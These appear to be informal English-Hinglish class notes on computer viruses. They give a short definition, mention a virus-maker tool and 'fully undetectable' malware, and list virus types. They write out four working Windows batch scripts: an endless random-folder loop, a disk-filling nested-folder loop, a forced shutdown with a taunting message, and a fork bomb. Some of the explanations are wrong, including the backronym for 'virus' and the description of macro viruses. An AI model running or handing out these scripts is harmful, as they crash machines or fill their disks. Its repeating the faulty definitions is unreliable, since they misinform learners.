Session Virus

Session 5 - Part 2

VIRUS (Vital Information Resource Under Siege):
A piece of code which is capable of copying itself and typically has a devastating effect and it also require a human being for its implementation.
Viruses spread by reproducing and inserting themselves into programs, documents, or e-mail attachments.And they won't work untill unless we don't strike them or lead them to the phase of execution.
EG: Tera bit virus maker
FUD : FUlly Undetectable

Chota packet nyaa dhanamka...

  -->infinite folder:
          :loop
          mkdir %random%
          goto loop
  --> Space consuming Virus:
   		:loop
   		mkdir hello
   		cd hello
   		echo " main saari jgh ko khtm kr dunga">> file.txt
   	        goto loop
   -->Shutdown Virus:
         shutdown -s -t 10 -c "bye bye beta lg gye"
   -->fork bomb :
   			%0|%0




Types of ViRUSES
: Browser Hijacker (jo aapkoaapki sites pr multiple sites pr visit kraane ke baad pahuchaye)
  File Infector ( jo file ke saath chipak jaye r fr infect krta jaaye uske execution pr)
  Polymorphic Virus (They are encrypted and change operations over time).
  Macro(ek bde instruction ko chote sub instruction me baat deta hai) Virus
  Boot Sector Virus
  Memory Resident Virus (adiyal hota hai host program chla bhi jaaye tbhi bhi execute hota rehta hai)
  etc etc ...